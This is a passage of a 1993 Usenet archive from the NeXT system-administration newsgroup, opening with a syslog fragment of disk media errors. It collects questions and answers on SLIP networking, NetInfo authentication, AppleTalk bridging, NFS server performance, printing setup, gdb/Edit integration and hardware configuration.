0: MEDIA ERROR; block e8411H retry 1 Jan 7 16:14:55 arissoft mach: Target 0: MEDIA ERROR; block 1dd52dH retry 1 Jan 8 15:50:18 arissoft mach: Target 0: MEDIA ERROR; block 20bafH retry 1 Jan 9 10:41:43 arissoft mach: Target 0: MEDIA ERROR; block 20babH retry 1 Jan 13 02:04:35 arissoft mach: Target 0: MEDIA ERROR; block 189a09H retry 1 Jan 20 02:00:25 arissoft mach: Target 0: MEDIA ERROR; block 21d9c7H retry 1 Jan 21 18:30:50 arissoft mach: Target 0: MEDIA ERROR; block 224167H retry 1 Jan 21 02:00:19 arissoft mach: bad block -118620160, <3>/: bad block Jan 23 02:01:27 arissoft mach: Target 0: MEDIA ERROR; block 1dd521H retry 1 Jan 23 02:04:10 arissoft mach: Target 0: MEDIA ERROR; block 122fdfH retry 1
From: brit@wagner.Physics.McGill.CA (Dave Britton) Newsgroups: comp.sys.next.sysadmin Subject: gdb connection to Edit (view) doesn't work ???? Message-ID: <1993Jan26.175804.18242@sifon.cc.mcgill.ca> Date: 26 Jan 93 17:58:04 GMT Sender: news@sifon.cc.mcgill.ca Organization: McGill University On one of our NeXTStations running NS3.0 the following works fine: >gdb myProgram >view and Edit gets fired up with a menu item GDB. However, on all out other identical NeXT's it does not work and I can't find any difference. Edit gets fired up but no menu item is added and gdb hangs (no prompt is returned). Both Terminal and Edit are in an NFS mounted directory (they are NOT local to the one machine that works). Each machine has it's own version of /bin/gdb but they are the same version number on all machines. Anybody got any suggestions? Thanks, Dave.
Newsgroups: comp.sys.next.sysadmin From: pan@athena.mit.edu (W. H. Pan) Subject: Help Needed--Media Errors Message-ID: <1993Jan26.192319.24646@athena.mit.edu> Sender: pan@athena.mit.edu Organization: Massachusetts Institute of Technology Date: Tue, 26 Jan 1993 19:23:19 GMT Hi, I was getting some media errors on my internal hard drive the other day. I was told that a low level format would correct those errors. Well, I used disk to perform the format and the initialization. But the media errors continued. I guess I'm doing something wrong, could you please email me the solution. Thanks. Any help will be much appreciated. -Howard pan@athena.mit.edu
From: isbell@cats.ucsc.edu (Art Isbell) Newsgroups: comp.sys.next.sysadmin Subject: NeXTstation to DEC MicroVAX connectivity Summary: What's needed to use NeXTstation as MicroVAX VT100 terminal? Message-ID: <1k48gaINN51e@darkstar.UCSC.EDU> Date: 26 Jan 93 20:55:38 GMT Organization: Cubic Solutions - NeXT software development and consulting A client needs to connect a NeXTstation to her MicroVAX 3900 running VMS to use the NeXTstation as a MicroVAX terminal. It's connected to a DECserver terminal server via DECnet and (over?) ethernet. Terminal is a VT100 emulator, so it seems that it would generate escape sequences familiar to the MicroVAX. Seems like several approaches are possible: 1. Connect the NeXTstation to the DECserver via a serial line. If this is possible, how does one direct Terminal to connect to that serial port? Is any additional harware or software required on either end (other than a serial cable :-) 2. Make the NeXTstation an ethernet node and use telnet or rlogin to establish a MicroVAX login session. In my distant foggy past, I seem to recall using telnet to login to a VAX, so I assume that telnet and possible the "r" utilities (rlogin, rsh, rcp, etc.) are available for a MicroVAX. What additional hardware/software would be required? 3. (Fill in your favorite suggestion here.) Thanks for your help. -- Art Isbell Cubic Solutions NeXT Registered Developer #745 NeXT software development and consulting NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154 USmail: 95018-9442 Fax: (408)335-2515
From: kambiz@oceania.com (Kambiz Aghaiepour) Newsgroups: comp.sys.next.sysadmin Subject: Slip and -NXHost Message-ID: <C1H53I.LuF@oceania.com> Date: 26 Jan 93 18:38:05 GMT Sender: kambiz@oceania.com (Kambiz Aghaiepour) Distribution: na Organization: Oceania Health Care Systems I am having trouble -NXHost'ing an application from a client machine that is connected to my network via slip. (Yeah, I've heard it's really slow and not worth the trouble; but I enjoy pain!) I have Louis A. Mamakos' slip. And the two machine that are connected are both running 3.0 (one is a cube, the other a nextstation turbo). When I start any application with the -NXHost option, e.g. /NextApps/Terminal.app/Terminal -NXHost slipserver & I get the following familiar message: DPS client library error: Could not form connection, host slipserver I have set the preferences (on slipserver) to be a public window server and I have logged out and back in since changing the prefs. I must be missing something really obvious. Has anyone ever tried to do this before? Any help is greatly appreciated. --Kambiz -- \o__O o Kambiz Aghaiepour - | kambiz@oceania.com o o \_ /|\ Oceania Health Care Systems |\- netcom!oceania!kambiz //\ //\ |\ |\ 325 Lytton Ave, Suite 400 | | FAX: (415) 322-0142 // // / / |/ Palo Alto, CA 94301 | Voice: (415) 322-0127 |\ ||
From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: NetInfo authentication Message-ID: <18169@umd5.umd.edu> Date: 27 Jan 93 00:30:36 GMT References: <18152@umd5.umd.edu> <1k3lgmINNq80@menudo.uh.edu> Sender: news@umd5.umd.edu Organization: Los Alamos National Laboratory, NM In article <1k3lgmINNq80@menudo.uh.edu> sears@uh.edu writes: >If there is not a "root" account on a level in the Netinfo structure, then >that level can only be modified on the machine that serves it. True. The problem turned out to be many uid 0 accounts (a field account set up for class use, and somehow sundiag and sysdiag got there too....). Getting rid of all the other uid 0 accounts solved the problem. Jeff Kight suggested the fix. >The root users in these domains can have different passwords if >you like and can make for added security since you will have to supply a >password to make any changes to that particular domain. This would me >that if someone got root on your server, they would only be able to screw >with the local netinfo domain on that server (unless all your root >passwords in Netinfo are the same!)... Um, not quite. Root on the local machine can modify whatever it wishes on that machine. NetInfo checks the incoming port number, and if it's less than 1024, it's considered trusted. If you are not root, yes, you need to enter the appropriate root password (with niutil -p or the NetInfo authentication panel with the GUIs). >I would suggest that you use trusted_networks. Otherwise anyone can snarf >any of your netinfo data by using tags. Normally I would but these are on their own network, with no connection to anything else. >Paul S. Sears ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ "A fractal is by definition a set for which the Hausdorff Besicovitch dimension strictly exceeds the topological dimension." -- Mandelbrot, _The Fractal Geometry of Nature_
From: hama@potenza.fjh.snet.or.jp (HAMADA) Newsgroups: comp.sys.next.sysadmin.ctl Subject: newgroup comp.sys.next.sysadmin Message-ID: <137@potenza.fjh.snet.or.jp> Date: 24 Jan 93 08:49:15 GMT Control: newgroup comp.sys.next.sysadmin Distribution: comp Organization: FUJITSU HOKURIKU SYSTEMS MASUIZUMI,KANAZAWA,ISHIKAWA,JAPAN
From: scd@cis.ufl.edu (Steve Donahue) Newsgroups: comp.sys.next.sysadmin Subject: Hewlett-Packard DeskJet 500 and NeXT Keywords: printer, DeskJet Message-ID: <38396@uflorida.cis.ufl.edu> Date: 27 Jan 93 14:51:11 GMT Sender: news@uflorida.cis.ufl.edu I just got a Hewlett-Packard DeskJet 500. I have the djf "printer filter" program installed. It seems to print ok, but not nearly as good as I expected. First, the margins are _way_ off. Second, there are small blank white spaces (lines) across some prints. Does anyone out there have a DeskJet that they are really pleased with? If so, what have you done to overcome the problem with the margins? I think the white spaces may be due to a bad print cartridge, so this problem may be overcome. However I would like to hear others opinions. Thanks. -- Steve Donahue <scd@cis.ufl.edu> <uflorida!thecube!scd>
Newsgroups: comp.sys.next.sysadmin From: beatty@sqhilton.pc.cs.cmu.edu (Derek Beatty) Subject: Re: Slip and -NXHost Message-ID: <C1IMMy.I96.2@cs.cmu.edu> Originator: beatty@sqhilton.pc.cs.cmu.edu Sender: news@cs.cmu.edu (Usenet News System) Organization: School of Computer Science, Carnegie Mellon References: <C1H53I.LuF@oceania.com> Distribution: na Date: Wed, 27 Jan 1993 13:54:33 GMT In article <C1H53I.LuF@oceania.com> kambiz@oceania.com (Kambiz Aghaiepour) writes: > > I am having trouble -NXHost'ing an application from a client machine that is > connected to my network via slip. (Yeah, I've heard it's really slow and > not worth the trouble; but I enjoy pain!) > You don't enjoy that much pain, but... If you examine the /etc/rc* scripts and perhaps the boot messages, you'll find that the Mach net message server looks around when it starts to see what network interfaces are available. Since this is before Slip is loaded, it doesn't know about slip. Thus you must somehow establish routes so that when the netmessageserver tries to send through the ethernet interface, the packets actually get routed correctly. There are various approaches; for example, give the ethernet and slip interfaces the same IP address, then on the standalone machine in /etc/rc.local: /etc/route delete 128.2.0.0 $INETADDR Replace 128.2.0.0 with your network. Getting NXHost working over slip is an interesting experiment, and you can even get windows up on your screen if you go about it right, but it doesn't *really* work. I think that what happens is that the interaction between the remote app and the windowserver consumes essentially all of the communication channel just to blink the cursor in a text object, and once you try to do anything more, buffers fill up and messages don't get through. (This is at 19.2kbps, headers not compressed.) Maybe if you just need to push a couple of buttons in an app, you could do something useful with NXHost over slip, but the moment you must type anything, forget it. It Just Doesn't Work. And by the way, you don't have to log out and back in after checking Public Window Server in 2.1. Is that yet another "improvement" of 3.0? -- Derek -- Derek_Beatty@cmu.edu ABD Comp Sci, CMU, 5000 Forbes, Pgh, PA 15213 USA
Newsgroups: comp.sys.next.sysadmin From: matt@crawfish.math.tulane.edu (Matt Hopkins) Subject: a working talk(1)? Message-ID: <1993Jan27.155448.24805@cs.tulane.edu> Sender: news@cs.tulane.edu Organization: Mathematics department, Tulane University Date: Wed, 27 Jan 1993 15:54:48 GMT Nntp-Posting-Host-[nntpd-24732]: crawfish.math.tulane.edu Can anyone tell me where I can get a copy of talk that works? The one I have (from NextStep 2.2) doesn't work. Matt -- matt@crawfish.math.tulane.edu (NeXT Mail accepted!) Matt Hopkins - Tulane University - Dept of Mathematics - New Orleans "Do you hate people?" "No ... but I seem to feel better when they're not around." "Hey mister! Throw me some beads!"
Newsgroups: comp.sys.next.sysadmin From: matt%mattcube@concert.net (Matthew M. Stecker) Subject: swapfile keeps growing . . . Message-ID: <1993Jan27.154600.11256@mattcube> Sender: matt@mattcube Organization: UNC School of Law, CC for NeXT Computer, Inc. Date: Wed, 27 Jan 1993 15:46:00 GMT I know that this has been asked before, but how to fix a swapfile under 3.0 that keeps growing and growing . . . ? This same machine did not have this problem under 2.2 (Turbo Cube 400/32 - Monochrome). Matt Stecker -- matt stecker | This is my NeXT Computer NeXT Campus Consultant, | There are many like it, UNC School of Law | but this one is mine.
Newsgroups: comp.sys.next.sysadmin From: tito@di.unipi.it (Tito Flagella) Subject: FAQ? Message-ID: <1993Jan27.145540.10165@cli.di.unipi.it> Sender: netnews@cli.di.unipi.it (USENET News System) Organization: Dipartimento di Informatica, Universita' di Pisa Date: Wed, 27 Jan 1993 14:55:40 GMT I have to integrate a couple of new NextStation in the Campus network. I have seen that handling next is not so simple like a real Unix. It seems to be an interface layer between Unix and Next. For instance when I introduce a local user no change is made to passwd, but when I manually edit passwd, the user is recognized. How is it possible? I also need to shadow password on the nextstation, but no option to do that is in the manual. And finally, the next cannot print to the apple printers on ethernet, because of some errors in the postscript. Is there a FAQ to which I can refere to do the job? Anybody had my same difficulties, and overall is there a way to make Next a normal Unix sensible to modifications to standard configuration files?
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.sysadmin Subject: Pencom Software Seeks 10 NeXT Engineers (NEast, Midwest, West, Canada) Message-ID: <6543@rosie.NeXT.COM> Date: 27 Jan 93 19:51:49 GMT Sender: news@NeXT.COM Pencom Software Seeks 10 NeXT Engineers Location: North America (Northeast, Midwest, Texas, West, Canada) For more information, contact: Clint Tomlinson (Manager, NeXT Recruiting) Pencom Software 9050 Capital of Texas Highway North Austin, Texas 78759 Telephone: 512-343-1111 Fax: 512/346-6444 E-Mail: clint@pencom.com AUSTIN, TEXAS - January 27, 1993 - Pencom Software's team of NeXT engineers are specifically dedicated to serving both developers and end user organizations equipped with workstations and software from NeXT Computer, Incorporated. Already a NeXT-authorized systems integrator as well as a registered NeXT software developer, Pencom is expanding the service to capitalize on the growth NeXT has recently experienced. Pencom Software is a division of Pencom Systems Incorporated, a New York-based firm providing software engineering and manpower resources to Fortune 500 companies and leading computer firms since 1973. Currently the largest recruiting firm specializing in the UNIX/Open Systems market, Pencom employs over 500 people and maintains a large heterogeneous network of workstations including more than 70 NeXT machines. For more information, contact: Clint Tomlinson - Manager, NeXT Recruiting Pencom Software 9050 Capital of Texas Highway North Austin, Texas 78759 Telephone: 512-343-1111 Fax: 512/346-6444 E-Mail: clint@pencom.com These positions below are available in the United States and Canada and require permanent residence and 2+ years industry experience: Texas 1- Senior Database Specialist * 5+ years database design and database applications development experience * 3 years application development experience in a UNIX environment * 2 years DBMS experience using an SQL-based DBMS * 1+ year applications experience in the NeXTSTEP environment * Strong background in proposal generation, system specification, third-party software evaluation, technology transfer, rapid prototyping * Experience with AppKit, DBKit, NeXTSTEP 3.0, OOD, C++, Objective-C * GUI and Porting experience Northeast 3 - Development Technical Leads * Strong NeXTSTEP applications development experience * Strong UNIX/C, database programming (Sybase, Oracle, Informix) * Experience with Objective-C, AppKit, Interface Builder * High level applications design and rapid prototyping in NeXT environment * Project/Technical lead experience * Good interpersonal skills (oral and written) * Technical support/OOP, OOD methodology transfer capabilities * 6 to 10 years computer industry experience 1 - System Administrator * NeXT/Sun/UNIX system administration experience * Network Management background * Objective-C or C++ experience * Background in a heterogeneous systems environment a must 1 - Software Engineer * NeXT/UNIX application software development * Strong NeXTSTEP, AppKit, Interface Builder experience * High level design, rapid prototyping in NeXT environment * Ability to work in a dynamic team environment * Strong Objective-C or C++ programming experience * 5 to 8 years experience West 1 - Senior Database Specialist * 5+ years database design and database applications development experience (strong ORACLE experience) * 3 years application development experience in a UNIX environment * 2 years DBMS experience using an SQL-based DBMS * 2+ year applications experience in the NeXTSTEP environment * Experience with AppKit, DBKit, NeXTSTEP 3.0, OOD, Objective-C Mid-West 1 - Senior Systems Engineer * Provide NeXT applications development and support assistance * Project Management/Project Lead experience * Very strong interpersonal skills, technical marketing experience a plus * Technology transfer of OOD, OOP methodologies * NeXTSTEP, Appkit, DBKit, Objective-C or C++ * 6 to 10 years experience Canada 2 - NeXT Contract Engineers * Strong NeXTSTEP applications development experience * Strong UNIX, Objective-C, C++ programming * AppKit, Interface Builder, DBKit experience required * Strong DBMS experience * Transfer of NeXT technology * Software training or teaching experience * 6 to 10 years experience Sorry, these positions require permanent residence and 2+ years industry experience...Thank you for your understanding... More positions available soon!!
Newsgroups: comp.sys.next.sysadmin From: andrew@cubetech.com (Andrew Loewenstern) Subject: Re: Novell netware filesystems Message-ID: <1993Jan26.185653.5657@cubetech.com> Organization: Cube Technologies, Inc. References: <1993Jan26.015750.21901@crs-sys.uucp> Distribution: comp Date: Tue, 26 Jan 1993 18:56:53 GMT In article <1993Jan26.015750.21901@crs-sys.uucp> crs@crs-sys.ersys.edmonton.ab.ca (Chris Gregors) writes: >Is it possible to publish the Next volume as a netware accessable filesystem >using the stock configuration or am I dreaming? > >ie: access Next files from a Novell workstation. The opposite of accessing > a Novell fileserver from the Next. You can't make your NeXT into a NetWare server, but if you NFS export your NeXT volumes, you can mount them with NFS software on the PC. I've never done it, though. andrew -- andrew@cubetech.com | "We cannot dwell in the time that is to come, Andrew Loewenstern | lest we lose our now for a phantom of our Cube Technologies, Inc. | own design." - Erendis FYEO Public Key: 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
Newsgroups: comp.sys.next.sysadmin From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: CAP under NeXTstep 3.0 Message-ID: <1993Jan27.144533.20214@dvorak.amd.com> Sender: usenet@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Inc.; Austin, Texas References: <1993Jan26.093530.15705@fzi.de> Distribution: usa Date: Wed, 27 Jan 93 14:45:33 GMT In article <1993Jan26.093530.15705@fzi.de> bwild@fzi.de writes: >>In article <1993Jan25.182909.24681@pslu1.psl.wisc.edu> hoymand@wissago.wisc.edu >>(Dirk Herr-Hoyman) writes: >>> Could you explain how you have your Next and your AppleTalk network >>connected? >>> If Ethertalk is not supported, I am not clear as to how this is done. >>> >>> Also, do you know if anyone is working to bring up Ethertalk? >>> >> >>All Macs are grouped together to LocalTalk clusters, typically 5 to 10 Macs per >>cluster. In every cluster a Kinetics FastPath is running which is hooked >>directly to our Ethernet backbone. The FP serves >>* as a bridge between different LocalTalk clusters, thus connecting them >> together logically (i.e. the user doesn't see the Ethernet part) >>* as a gateway for MacTCP packages. These are Internet packages wrapped >> in AppleTalk packages. The FP removes the wrapper and sends them to the >> Ethernet as plain Internet packages and vice versa. >>* as a bridge for EtherTalk packages as they can be send by >> Ethernet-equipped Macs. But, the other Ethernet hosts like Suns or >> NeXTs have to understand the EtherTalk protocol. Up to now NeXT has only >> built in the AppleTalk protocol. EtherTalk is supported on some >> platforms by CAP but not on NeXT. I thought it was just the opposite...that NeXT only implemented the ethertalk client and not the appletalk client. Someone who really knows please clarify!!! -- Ronald Pomeroy "The Internet is just a giant petri dish" Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com (NeXTmail preferred)
Newsgroups: comp.sys.next.sysadmin From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: gdb connection to Edit (view) doesn't work ???? Message-ID: <1993Jan27.144633.20335@dvorak.amd.com> Sender: usenet@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Inc.; Austin, Texas References: <1993Jan26.175804.18242@sifon.cc.mcgill.ca> Distribution: usa Date: Wed, 27 Jan 93 14:46:33 GMT In article <1993Jan26.175804.18242@sifon.cc.mcgill.ca> brit@wagner.Physics.McGill.CA (Dave Britton) writes: >>On one of our NeXTStations running NS3.0 the following >>works fine: >>>gdb myProgram >>>view >>and Edit gets fired up with a menu item GDB. >> >>However, on all out other identical NeXT's it does not work >>and I can't find any difference. Edit gets fired up but no >>menu item is added and gdb hangs (no prompt is returned). >> >>Both Terminal and Edit are in an NFS mounted directory >>(they are NOT local to the one machine that works). >>Each machine has it's own version of /bin/gdb but they >>are the same version number on all machines. >> >>Anybody got any suggestions? >> >>Thanks, Dave. Set the preferences for Edit telling it to launch in "developer mode". -- Ronald Pomeroy "The Internet is just a giant petri dish" Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com (NeXTmail preferred)
Newsgroups: comp.sys.next.sysadmin From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: Slip and -NXHost Message-ID: <1993Jan27.145036.20671@dvorak.amd.com> Sender: usenet@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Inc.; Austin, Texas References: <C1H53I.LuF@oceania.com> Distribution: na Date: Wed, 27 Jan 93 14:50:36 GMT In article <C1H53I.LuF@oceania.com> Kambiz Aghaiepour <kambiz@oceania.com> writes: >> >>I am having trouble -NXHost'ing an application from a client machine that is >>connected to my network via slip. (Yeah, I've heard it's really slow and >>not worth the trouble; but I enjoy pain!) >> >>I have Louis A. Mamakos' slip. And the two machine that are connected are >>both running 3.0 (one is a cube, the other a nextstation turbo). When I >>start any application with the -NXHost option, e.g. >> >> /NextApps/Terminal.app/Terminal -NXHost slipserver & >> >>I get the following familiar message: >> >> DPS client library error: Could not form connection, host slipserver >> >>I have set the preferences (on slipserver) to be a public window server >>and I have logged out and back in since changing the prefs. I must be missing >>something really obvious. Has anyone ever tried to do this before? Any help >>is greatly appreciated. The window server on the machine you want to display needs to be public, not the server (remote) machine. At lease that's my understanding... -- Ronald Pomeroy "The Internet is just a giant petri dish" Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com (NeXTmail preferred)
Organization: Sponsored account, Chemical Engineering, Carnegie Mellon, Pittsburgh, PA Newsgroups: comp.sys.next.sysadmin Message-ID: <gfNjYKq00YUn0=N1kh@andrew.cmu.edu> Date: Wed, 27 Jan 1993 16:05:26 -0500 From: Tod McQuillin <tm8t+@andrew.cmu.edu> Subject: Next NFS server upgrade We're running a NeXT cube (68040/25Mhz) with 2.5 GB of disk serving 50 NFS clients or so. We're considering upgrading the server with a Turbo board (68040/33Mhz). My question is, with such a configuration, is upgrading to a Turbo likely to help? It's quite possible that the machine is disk-bound, in which case increasing the CPU speed won't significantly help. Any comments?
Organization: Sponsored account, Chemical Engineering, Carnegie Mellon, Pittsburgh, PA Newsgroups: comp.sys.next.sysadmin Message-ID: <cfNjch200YUn0=N29f@andrew.cmu.edu> Date: Wed, 27 Jan 1993 16:10:05 -0500 From: Tod McQuillin <tm8t+@andrew.cmu.edu> Subject: 3.0 Upgrades Given a large netinfo network, is there any reason to upgrade all the netinfo client machines to NeXTStep 3.0 before the netinfo server is upgraded? We'd like to upgrade our netinfo server to 3.0, but have heard that for certain reasons this might not be a good idea. Anyone know what these reasons are? Thanks
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: CAP under NeXTstep 3.0 Message-ID: <C1Jzuo.M0I@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <1993Jan26.093530.15705@fzi.de> <1993Jan27.144533.20214@dvorak.amd.com> Distribution: usa Date: Thu, 28 Jan 1993 07:37:21 GMT rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) writes: >In article <1993Jan26.093530.15705@fzi.de> bwild@fzi.de writes: >>>In article <1993Jan25.182909.24681@pslu1.psl.wisc.edu> >hoymand@wissago.wisc.edu >>>(Dirk Herr-Hoyman) writes: >>>> Could you explain how you have your Next and your AppleTalk network >>>connected? >>>> If Ethertalk is not supported, I am not clear as to how this is done. >>>> >I thought it was just the opposite...that NeXT only implemented the ethertalk >client and not the appletalk client. Indeed it is the opposite. CAP supports EtherTalk over the NeXT's built-in ethernet port. It does not support, as many would wish, LocalTalk through the serial port. In order to connect to LocalTalk'd Macs (and especially printers), you must have a LocalTalk-EtherTalk bridge, such a a Shiva/Kinetics FastPath or Cayman GatorBox. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Next NFS server upgrade Message-ID: <C1K083.Mtr@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <gfNjYKq00YUn0=N1kh@andrew.cmu.edu> Date: Thu, 28 Jan 1993 07:45:25 GMT Tod McQuillin <tm8t+@andrew.cmu.edu> writes: >We're running a NeXT cube (68040/25Mhz) with 2.5 GB of disk serving 50 >NFS clients or so. We're considering upgrading the server with a >Turbo board (68040/33Mhz). >My question is, with such a configuration, is upgrading to a Turbo >likely to help? It's quite possible that the machine is disk-bound, >in which case increasing the CPU speed won't significantly help. >Any comments? Do a ps auxw on the machine when it is most loaded down! The nfsd's should be at the top. On most of our servers, the 4 nfsd's use around 9% of CPU each when about 90 machines are accessing that server. The bottleneck is probably network interface and disk i/o. Too bad there is no cache like Prestoserve available for NeXTs. (at least not that I know of) Also do an 'uptime' when heavy usage. If you see load averages around 1.5-2.0 from just 'server-ish' duties, then you might want to upgrade the machine. I doubt you will get that kind of usage though. (unless it's your netinfo server too) To monitor network traffic, say 'netstat 1' or so... it will give you a packet report each second. Total numbers around 200 in and out is close to peak. This is not an exact count, I'm no expert on this subject but I have been told that this isn't the way to check your network. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: asauerbi@molbio.cbs.umn.edu (Arnim Sauerbier) Subject: Re: Display PostScript Book Message-ID: <C1K36v.18G@news2.cis.umn.edu> Sender: news@news2.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota References: <1993Jan23.173231.23571@trilithon.mpk.ca.us> Date: Thu, 28 Jan 1993 08:49:40 GMT I found the book to be poorly organized (multiple authors), thus, hard to use as a reference. It was the only reference I used to write some screen-savers (I'll put em up on an ftp site -- when I'm satisfied with em!) so It certainly did the job for me... arnim
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software From: zulu!errol (Errol Ginsberg) Subject: Re: Network Management Software Using NeXTstep Message-ID: <1993Jan26.184158.7180@ridgeback.com> Keywords: SNMP, Network management Sender: errol@ridgeback.com (Errol) Organization: Ridgeback Solutions References: <1993Jan25.185855.16310@macc.wisc.edu> Date: Tue, 26 Jan 1993 18:41:58 GMT In article <1993Jan25.185855.16310@macc.wisc.edu> anderson@macc.wisc.edu (Jess Anderson) writes: > --- deleted ---- > They asked me, and I simply don't know, whether there are > tools already available for NeXT for managing networks, > things on the order of Sun Net Manager, for example. > > Has anyone other there in netland found or made tools of > this sort? ------ deleted rest of message ------- We have a very comprehensive SNMP agent for NeXT and Sun workstations compatible with all the major SNMP management platforms such as HP Openview, SunNet Manager, Lexcel Lance and IBM Netview 6000. Our SNMP agent for NeXT has been shipping for several months and is in use at many large installations. Our agent has numerous private extensions providing detailed information on processes running, file systems, swap files, virtual memory status, CPU utilization etc. We are about to start Beta test (within a few weeks) of our NeXTSTEP SNMP management software that is compatible with our SNMP agent and any MIB-I/II SNMP device. This software will allow the user to configure maps of his network (and all the devices) and set alarm thresholds for various MIB variables for automated monitoring. Please contact us for further information. -- Regards, Errol Ginsberg Ridgeback Solutions SNMP Network Management for NeXT info@ridgeback.com Tel: 310/456-6094 Fax: 310/456-9715 Disclaimer: I work for Ridgeback Solutions so my opinions are of course biased. -- Regards, Errol Ginsberg Ridgeback Solutions SNMP Network Management for NeXT
Newsgroups: comp.sys.next.sysadmin,news.software.nn From: bill@ganesha.cognet.ucla.edu (William M. Eldridge) Subject: nn: "Database magic number mismatch" error? Message-ID: <1993Jan28.093953.2249@cognet.ucla.edu> Sender: news@cognet.ucla.edu Organization: UCLA Cognitive Science Research Program Date: Thu, 28 Jan 1993 09:39:53 GMT Trying to get nn compiled on a NeXT Turbo Color running 3.0, using latest fully patched version of nn. 1) There's a conf/s-NeXT1-0.h file, but no updates for 2.0 or 3.0 - is this cool, or is a more recent version available? 2) I'm NFS mounting the nn database from a Sun. When I type "nn" I get a "Database magic number mismatch" error. Nothing I found in Next or nn FAQs talks about this one. nn runs fine on the Suns. Any clues? Thanks. -- Bill Eldridge bill@cognet.ucla.edu *** He who remembers the past is condemned to misread it. *** - George Santana
Newsgroups: comp.sys.next.sysadmin From: gaia@wam.umd.edu (L. Anathea Brooks) Subject: SLIP IS UP, BUT... Message-ID: <1993Jan28.131017.16562@wam.umd.edu> Sender: usenet@wam.umd.edu (USENET News system) Organization: University of Maryland, College Park Date: Thu, 28 Jan 1993 13:10:17 GMT After a lot of work I have Louis Mamakos' SLIP connecting to the server, but all I can do with any success is ping to the server itself. I know next to nothing about networking and net configuring, so please if anyone can explain how I can fix this, keep in mind that saying "put X in netinfo" is meaningless to me. I would naturally like to do ftp telnet etc. Thanks for advice, Robert de Lucca Johns Hopkins Univ Nextmail: rdelucca@rosemary.uucp.jhu.edu (At least until I get SLIP up!)
From: anderson@sapir.cog.jhu.edu (Stephen Anderson) Newsgroups: comp.sys.next.sysadmin Subject: Re: SLIP IS UP, BUT... Message-ID: <ANDERSON.93Jan28092525@sapir.cog.jhu.edu> Date: 28 Jan 93 14:25:25 GMT References: <1993Jan28.131017.16562@wam.umd.edu> Sender: news@umd5.umd.edu Organization: Dept. of Cognitive Science, The Johns Hopkins University In-reply-to: gaia@wam.umd.edu's message of 28 Jan 93 13:10:17 GMT I'm in a very similar situation: I can connect from my home machine to the slip server on my office machine, but apart from being able to ping the slip interface, I can't get any further (can't even ping the ethernet interface on the slip server machine). I wrote Louie a while ago asking for help (Hi, Louie! I'm a paying customer....:-) but didn't hear anything. I wouldn't clutter the net with this, but I think that if someone could post a good description of what to do to establish connectivity on a slip server so that slip clients can connect to the net, it would be a public service. Louie's manual gives a fine description of what to do to get the client-server connection up. That's probably fine if you're using slip to connect to an existing server that someone else is already administering, but I don't know of a ready resource for what to do if you have to setup the server too. --Steve Anderson
Newsgroups: comp.sys.next.sysadmin From: jiang@csbser.csb.yale.edu (Jianxin Jiang) Subject: Printing to a remote printer Message-ID: <1993Jan28.182400.14937@news.yale.edu> Keywords: Remote printer, Sun Sparcprinter Sender: jiang@csbser (Jianxin Jiang) Organization: Center for Structural Biology, Yale University Date: Thu, 28 Jan 1993 18:24:00 GMT Hello everyone, I have a small ethernet of two NeXTstation Turbos and a Sun Sparcstation IPC with a Sparcprinter connected to its video port. The NeXTstations do not run NetInfo. Usual network applications such as telnet and ftp all work. When I tried to print from the NeXT to the Sparcprinter, nothing got printed and I got an error message saying that all or some pages will NOT be printed. Here is what I did on the NeXTstations: 1) niload printcap / < /etc/printcap 2) reboot The printcap on the NeXT is as follows lp|sparcprinter:rm=cable:rp=lp:sd=/var/spool/lpd: Any idea what the problem is or what I did wrong? Thanks! Jiang
From: ricardo@pencom.com (Ricardo Parada) Newsgroups: comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin Subject: Microphone II (send/receive e-mail via compuserve?) Message-ID: <1993Jan27.183752.25063@pencom.com> Date: 27 Jan 93 18:37:52 GMT Sender: usenet@pencom.com (Usenet Pseudo User) Organization: Pencom Software Has anybody used Microphone II or any other software packaged to automatically download e-mail from compuserve? Does it work? Does it work with NeXTmail? P.S. I have a friend with Compuserve only access who has a NeXT and would like to send/receive e-mail using compuserve. -- + Ricardo J. Parada
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: coco@cbnewsl.cb.att.com (felix.lugo) Subject: Need drive SCSI id info Organization: AT&T Date: Thu, 28 Jan 1993 17:32:49 GMT Message-ID: <1993Jan28.173249.15771@cbnewsl.cb.att.com> I have a friend who needs to change the SCSI-ID of a MAXTOR XT-8380S (NeXT supplied) hard drive from 1 (NeXT default) to 0. Anyone have information on what the SCSI-ID selection pins are on this drive? Thanks in advance! --Felix
